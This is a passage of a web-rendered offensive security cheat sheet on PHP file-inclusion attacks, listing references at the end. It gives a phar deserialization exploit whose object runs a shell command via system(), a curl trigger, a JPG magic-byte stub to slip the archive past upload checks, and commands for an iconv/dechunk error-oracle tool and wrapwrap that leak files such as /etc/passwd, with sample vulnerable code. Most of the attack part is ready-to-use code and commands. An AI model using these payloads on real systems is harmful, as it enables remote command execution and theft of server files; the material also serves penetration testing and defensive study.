<div class="highlight"><pre><span></span><code><a id="__codelineno-11-1" name="__codelineno-11-1" href="#__codelineno-11-1"></a><span class="x">class AnyClass {</span>
<a id="__codelineno-11-2" name="__codelineno-11-2" href="#__codelineno-11-2"></a><span class="x"> public $data = null;</span>
<a id="__codelineno-11-3" name="__codelineno-11-3" href="#__codelineno-11-3"></a><span class="x"> public function __construct($data) {</span>
<a id="__codelineno-11-4" name="__codelineno-11-4" href="#__codelineno-11-4"></a><span class="x"> $this-&gt;data = $data;</span>
<a id="__codelineno-11-5" name="__codelineno-11-5" href="#__codelineno-11-5"></a><span class="x"> }</span>
<a id="__codelineno-11-6" name="__codelineno-11-6" href="#__codelineno-11-6"></a>
<a id="__codelineno-11-7" name="__codelineno-11-7" href="#__codelineno-11-7"></a><span class="x"> function __destruct() {</span>
<a id="__codelineno-11-8" name="__codelineno-11-8" href="#__codelineno-11-8"></a><span class="x"> system($this-&gt;data);</span>
<a id="__codelineno-11-9" name="__codelineno-11-9" href="#__codelineno-11-9"></a><span class="x"> }</span>
<a id="__codelineno-11-10" name="__codelineno-11-10" href="#__codelineno-11-10"></a><span class="x">}</span>
<a id="__codelineno-11-11" name="__codelineno-11-11" href="#__codelineno-11-11"></a>
<a id="__codelineno-11-12" name="__codelineno-11-12" href="#__codelineno-11-12"></a><span class="x">...</span>
<a id="__codelineno-11-13" name="__codelineno-11-13" href="#__codelineno-11-13"></a><span class="x">echo file_exists($_GET[&#39;page&#39;]);</span>
</code></pre></div>
<p>We can craft a phar archive containing a serialized object in its meta-data.</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-12-1" name="__codelineno-12-1" href="#__codelineno-12-1"></a><span class="x">// create new Phar</span>
<a id="__codelineno-12-2" name="__codelineno-12-2" href="#__codelineno-12-2"></a><span class="x">$phar = new Phar(&#39;deser.phar&#39;);</span>
<a id="__codelineno-12-3" name="__codelineno-12-3" href="#__codelineno-12-3"></a><span class="x">$phar-&gt;startBuffering();</span>
<a id="__codelineno-12-4" name="__codelineno-12-4" href="#__codelineno-12-4"></a><span class="x">$phar-&gt;addFromString(&#39;test.txt&#39;, &#39;text&#39;);</span>
<a id="__codelineno-12-5" name="__codelineno-12-5" href="#__codelineno-12-5"></a><span class="x">$phar-&gt;setStub(&#39;</span><span class="cp">&lt;?php</span> <span class="nx">__HALT_COMPILER</span><span class="p">();</span> <span class="cp">?&gt;</span><span class="x">&#39;);</span>
<a id="__codelineno-12-6" name="__codelineno-12-6" href="#__codelineno-12-6"></a>
<a id="__codelineno-12-7" name="__codelineno-12-7" href="#__codelineno-12-7"></a><span class="x">// add object of any class as meta data</span>
<a id="__codelineno-12-8" name="__codelineno-12-8" href="#__codelineno-12-8"></a><span class="x">class AnyClass {</span>
<a id="__codelineno-12-9" name="__codelineno-12-9" href="#__codelineno-12-9"></a><span class="x"> public $data = null;</span>
<a id="__codelineno-12-10" name="__codelineno-12-10" href="#__codelineno-12-10"></a><span class="x"> public function __construct($data) {</span>
<a id="__codelineno-12-11" name="__codelineno-12-11" href="#__codelineno-12-11"></a><span class="x"> $this-&gt;data = $data;</span>
<a id="__codelineno-12-12" name="__codelineno-12-12" href="#__codelineno-12-12"></a><span class="x"> }</span>
<a id="__codelineno-12-13" name="__codelineno-12-13" href="#__codelineno-12-13"></a>
<a id="__codelineno-12-14" name="__codelineno-12-14" href="#__codelineno-12-14"></a><span class="x"> function __destruct() {</span>
<a id="__codelineno-12-15" name="__codelineno-12-15" href="#__codelineno-12-15"></a><span class="x"> system($this-&gt;data);</span>
<a id="__codelineno-12-16" name="__codelineno-12-16" href="#__codelineno-12-16"></a><span class="x"> }</span>
<a id="__codelineno-12-17" name="__codelineno-12-17" href="#__codelineno-12-17"></a><span class="x">}</span>
<a id="__codelineno-12-18" name="__codelineno-12-18" href="#__codelineno-12-18"></a><span class="x">$object = new AnyClass(&#39;whoami&#39;);</span>
<a id="__codelineno-12-19" name="__codelineno-12-19" href="#__codelineno-12-19"></a><span class="x">$phar-&gt;setMetadata($object);</span>
<a id="__codelineno-12-20" name="__codelineno-12-20" href="#__codelineno-12-20"></a><span class="x">$phar-&gt;stopBuffering();</span>
</code></pre></div>
<p>Finally call the phar wrapper: <code>curl http://127.0.0.1:8001/?page=phar:///var/www/html/deser.phar</code></p>
<p>NOTE: you can use the <code>$phar-&gt;setStub()</code> to add the magic bytes of JPG file: <code>\xff\xd8\xff</code></p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-13-1" name="__codelineno-13-1" href="#__codelineno-13-1"></a><span class="x">$phar-&gt;setStub(&quot;\xff\xd8\xff\n</span><span class="cp">&lt;?php</span> <span class="nx">__HALT_COMPILER</span><span class="p">();</span> <span class="cp">?&gt;</span><span class="x">&quot;);</span>
</code></pre></div>
<h2 id="wrapper-converticonv-and-dechunk">Wrapper convert.iconv:// and dechunk://</h2>
<h3 id="leak-file-content-from-error-based-oracle">Leak file content from error-based oracle</h3>
<ul>
<li><code>convert.iconv://</code>: convert input into another folder (<code>convert.iconv.utf-16le.utf-8</code>)</li>
<li><code>dechunk://</code>: if the string contains no newlines, it will wipe the entire string if and only if the string starts with A-Fa-f0-9</li>
</ul>
<p>The goal of this exploitation is to leak the content of a file, one character at a time, based on the <a href="https://github.com/DownUnderCTF/Challenges_2022_Public/blob/main/web/minimal-php/solve/solution.py">DownUnderCTF</a> writeup.</p>
<p><strong>Requirements</strong>:</p>
<ul>
<li>Backend must not use <code>file_exists</code> or <code>is_file</code>.</li>
<li>Vulnerable parameter should be in a <code>POST</code> request. </li>
<li>You can't leak more than 135 characters in a GET request due to the size limit</li>
</ul>
<p>The exploit chain is based on PHP filters: <code>iconv</code> and <code>dechunk</code>:</p>
<ol>
<li>Use the <code>iconv</code> filter with an encoding increasing the data size exponentially to trigger a memory error.</li>
<li>Use the <code>dechunk</code> filter to determine the first character of the file, based on the previous error.</li>
<li>Use the <code>iconv</code> filter again with encodings having different bytes ordering to swap remaining characters with the first one.</li>
</ol>
<p>Exploit using <a href="https://github.com/synacktiv/php_filter_chains_oracle_exploit">synacktiv/php_filter_chains_oracle_exploit</a>, the script will use either the <code>HTTP status code: 500</code> or the time as an error-based oracle to determine the character.</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-14-1" name="__codelineno-14-1" href="#__codelineno-14-1"></a><span class="p">$</span> <span class="n">python3</span> <span class="n">filters_chain_oracle_exploit</span><span class="p">.</span><span class="n">py</span> <span class="p">-</span><span class="n">-target</span> <span class="n">http</span><span class="p">://</span><span class="n">127</span><span class="p">.</span><span class="n">0</span><span class="p">.</span><span class="n">0</span><span class="p">.</span><span class="n">1</span> <span class="p">-</span><span class="o">-file</span> <span class="s1">&#39;/test&#39;</span> <span class="p">-</span><span class="n">-parameter</span> <span class="n">0</span>
<a id="__codelineno-14-2" name="__codelineno-14-2" href="#__codelineno-14-2"></a><span class="p">[*]</span> <span class="n">The</span> <span class="n">following</span> <span class="n">URL</span> <span class="n">is</span> <span class="n">targeted</span> <span class="p">:</span> <span class="n">http</span><span class="p">://</span><span class="n">127</span><span class="p">.</span><span class="n">0</span><span class="p">.</span><span class="n">0</span><span class="p">.</span><span class="n">1</span>
<a id="__codelineno-14-3" name="__codelineno-14-3" href="#__codelineno-14-3"></a><span class="p">[*]</span> <span class="n">The</span> <span class="n">following</span> <span class="n">local</span> <span class="n">file</span> <span class="n">is</span> <span class="n">leaked</span> <span class="p">:</span> <span class="p">/</span><span class="n">test</span>
<a id="__codelineno-14-4" name="__codelineno-14-4" href="#__codelineno-14-4"></a><span class="p">[*]</span> <span class="n">Running</span> <span class="n">POST</span> <span class="n">requests</span>
<a id="__codelineno-14-5" name="__codelineno-14-5" href="#__codelineno-14-5"></a><span class="p">[+]</span> <span class="n">File</span> <span class="p">/</span><span class="n">test</span> <span class="n">leak</span> <span class="n">is</span> <span class="n">finished</span><span class="p">!</span>
</code></pre></div>
<h3 id="leak-file-content-inside-a-custom-format-output">Leak file content inside a custom format output</h3>
<ul>
<li><a href="https://github.com/ambionics/wrapwrap">ambionics/wrapwrap</a> - Generates a <code>php://filter</code> chain that adds a prefix and a suffix to the contents of a file.</li>
</ul>
<p>To obtain the contents of some file, we would like to have: <code>{"message":"&lt;file contents&gt;"}</code>.</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-15-1" name="__codelineno-15-1" href="#__codelineno-15-1"></a><span class="p">./</span><span class="n">wrapwrap</span><span class="p">.</span><span class="n">py</span> <span class="p">/</span><span class="n">etc</span><span class="p">/</span><span class="n">passwd</span> <span class="s1">&#39;PREFIX&#39;</span> <span class="s1">&#39;SUFFIX&#39;</span> <span class="n">1000</span>
<a id="__codelineno-15-2" name="__codelineno-15-2" href="#__codelineno-15-2"></a><span class="p">./</span><span class="n">wrapwrap</span><span class="p">.</span><span class="n">py</span> <span class="p">/</span><span class="n">etc</span><span class="p">/</span><span class="n">passwd</span> <span class="s1">&#39;{&quot;message&quot;:&quot;&#39;</span> <span class="s1">&#39;&quot;}&#39;</span> <span class="n">1000</span>
<a id="__codelineno-15-3" name="__codelineno-15-3" href="#__codelineno-15-3"></a><span class="p">./</span><span class="n">wrapwrap</span><span class="p">.</span><span class="n">py</span> <span class="p">/</span><span class="n">etc</span><span class="p">/</span><span class="n">passwd</span> <span class="s1">&#39;&lt;root&gt;&lt;name&gt;&#39;</span> <span class="s1">&#39;&lt;/name&gt;&lt;/root&gt;&#39;</span> <span class="n">1000</span>
</code></pre></div>
<p>This can be used against vulnerable code like the following.</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-16-1" name="__codelineno-16-1" href="#__codelineno-16-1"></a><span class="cp">&lt;?php</span>
<a id="__codelineno-16-2" name="__codelineno-16-2" href="#__codelineno-16-2"></a> <span class="nv">$data</span> <span class="o">=</span> <span class="nb">file_get_contents</span><span class="p">(</span><span class="nv">$_POST</span><span class="p">[</span><span class="s1">&#39;url&#39;</span><span class="p">]);</span>
<a id="__codelineno-16-3" name="__codelineno-16-3" href="#__codelineno-16-3"></a> <span class="nv">$data</span> <span class="o">=</span> <span class="nb">json_decode</span><span class="p">(</span><span class="nv">$data</span><span class="p">);</span>
<a id="__codelineno-16-4" name="__codelineno-16-4" href="#__codelineno-16-4"></a> <span class="k">echo</span> <span class="nv">$data</span><span class="o">-&gt;</span><span class="na">message</span><span class="p">;</span>
<a id="__codelineno-16-5" name="__codelineno-16-5" href="#__codelineno-16-5"></a><span class="cp">?&gt;</span>
</code></pre></div>
<h2 id="references">References</h2>
<ul>
<li><a href="https://github.com/orangetw/My-CTF-Web-Challenges#babyh-master-php-2017">Baby^H Master PHP 2017 - Orange Tsai (@orangetw) - Dec 5, 2021</a></li>
<li><a href="https://www.ambionics.io/blog/iconv-cve-2024-2961-p1">Iconv, set the charset to RCE: exploiting the libc to hack the php engine (part 1) - Charles Fol - 27 May, 2024</a></li>
<li><a href="https://www.ambionics.io/blog/wrapwrap-php-filters-suffix">Introducing wrapwrap: using PHP filters to wrap a file with a prefix and suffix - Charles Fol - 11 December, 2023</a></li>
<li><a href="https://github.com/s-n-t/presentations/blob/master/us-18-Thomas-It's-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It.pdf">It's A PHP Unserialization Vulnerability Jim But Not As We Know It - Sam Thomas - Aug 10, 2018</a></li>
<li><a href="https://web.archive.org/web/20180817103621/https://blog.ripstech.com/2018/new-php-exploitation-technique/">New PHP Exploitation Technique - Dr. Johannes Dahse - 14 Aug 2018</a></li>
<li><a href="https://youtu.be/dqKFHjcK9hM">OffensiveCon24 - Charles Fol- Iconv, Set the Charset to RCE - 14 June 2024</a></li>
<li><a href="https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html">PHP FILTER CHAINS: FILE READ FROM ERROR-BASED ORACLE - Rémi Matasse - March 21, 2023</a></li>
<li><a href="https://www.synacktiv.com/publications/php-filters-chain-what-is-it-and-how-to-use-it.html">PHP FILTERS CHAIN: WHAT IS IT AND HOW TO USE IT - Rémi Matasse - 18/10/2022</a></li>
<li><a href="https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d">Solving "includer's revenge" from hxp ctf 2021 without controlling any files - @loknop - Dec 30, 2021</a></li>
</ul>
<aside class="md-source-file">
<span class="md-source-file__fact">
<span class="md-icon" title="Last update">
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M21 13.1c-.1 0-.3.1-.4.2l-1 1 2.1 2.1 1-1c.2-.2.2-.6 0-.8l-1.3-1.3c-.1-.1-.2-.2-.4-.2m-1.9 1.8-6.1 6V23h2.1l6.1-6.1zM12.5 7v5.2l4 2.4-1 1L11 13V7zM11 21.9c-5.1-.5-9-4.8-9-9.9C2 6.5 6.5 2 12 2c5.3 0 9.6 4.1 10 9.3-.3-.1-.6-.2-1-.2s-.7.1-1 .2C19.6 7.2 16.2 4 12 4c-4.4 0-8 3.6-8 8 0 4.1 3.1 7.5 7.1 7.9l-.1.2z"/></svg>
</span>
<span class="git-revision-date-localized-plugin git-revision-date-localized-plugin-date">November 29, 2024</span>
</span>
</aside>
<div class="social-container">
<b>Share this content</b>
<div class="a2a_kit a2a_kit_size_32 a2a_default_style">
<a class="a2a_dd" href="https://www.addtoany.com/share"></a>
<a class="a2a_button_x"></a>
<a class="a2a_button_telegram"></a>
<a class="a2a_button_linkedin"></a>
<a class="a2a_button_email"></a>
<a class="a2a_button_microsoft_teams"></a>
</div>
<br>
<script async src="https://static.addtoany.com/menu/page.js"></script>
<script defer src="https://cloud.umami.is/script.js" data-website-id="82be5164-e1f3-4cb0-bd22-20e02086d3d4"></script>
</div>
</article>
</div>
<script>var target=document.getElementById(location.hash.slice(1));target&&target.name&&(target.checked=target.name.startsWith("__tabbed_"))</script>
</div>
<button type="button" class="md-top md-icon" data-md-component="top" hidden>
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M13 20h-2V8l-5.5 5.5-1.42-1.42L12 4.16l7.92 7.92-1.42 1.42L13 8z"/></svg>
Back to top
</button>
</main>
<footer class="md-footer">
<div class="md-footer-meta md-typeset">
<div class="md-footer-meta__inner md-grid">
<div class="md-copyright">
Made with
<a href="https://squidfunk.github.io/mkdocs-material/" target="_blank" rel="noopener">
Material for MkDocs
</a>
</div>
</div>
</div>
</footer>
</div>
<div class="md-dialog" data-md-component="dialog">
<div class="md-dialog__inner md-typeset"></div>
</div>
<script id="__config" type="application/json">{"base": "../..", "features": ["content.code.copy", "content.action.edit", "content.action.view", "content.tooltips", "navigation.tracking", "navigation.top", "search.share", "search.suggest"], "search": "../../assets/javascripts/workers/search.6ce7567c.min.js", "translations": {"clipboard.copied": "Copied to clipboard", "clipboard.copy": "Copy to clipboard", "search.result.more.one": "1 more on this page", "search.result.more.other": "# more on this page", "search.result.none": "No matching documents", "search.result.one": "1 matching document", "search.result.other": "# matching documents", "search.result.placeholder": "Type to start searching", "search.result.term.missing": "Missing", "select.version": "Select version"}}</script>
<script src="../../assets/javascripts/bundle.88dd0f4e.min.js"></script>
</body>
</html>
Reference in New Issue View Git Blame Copy Permalink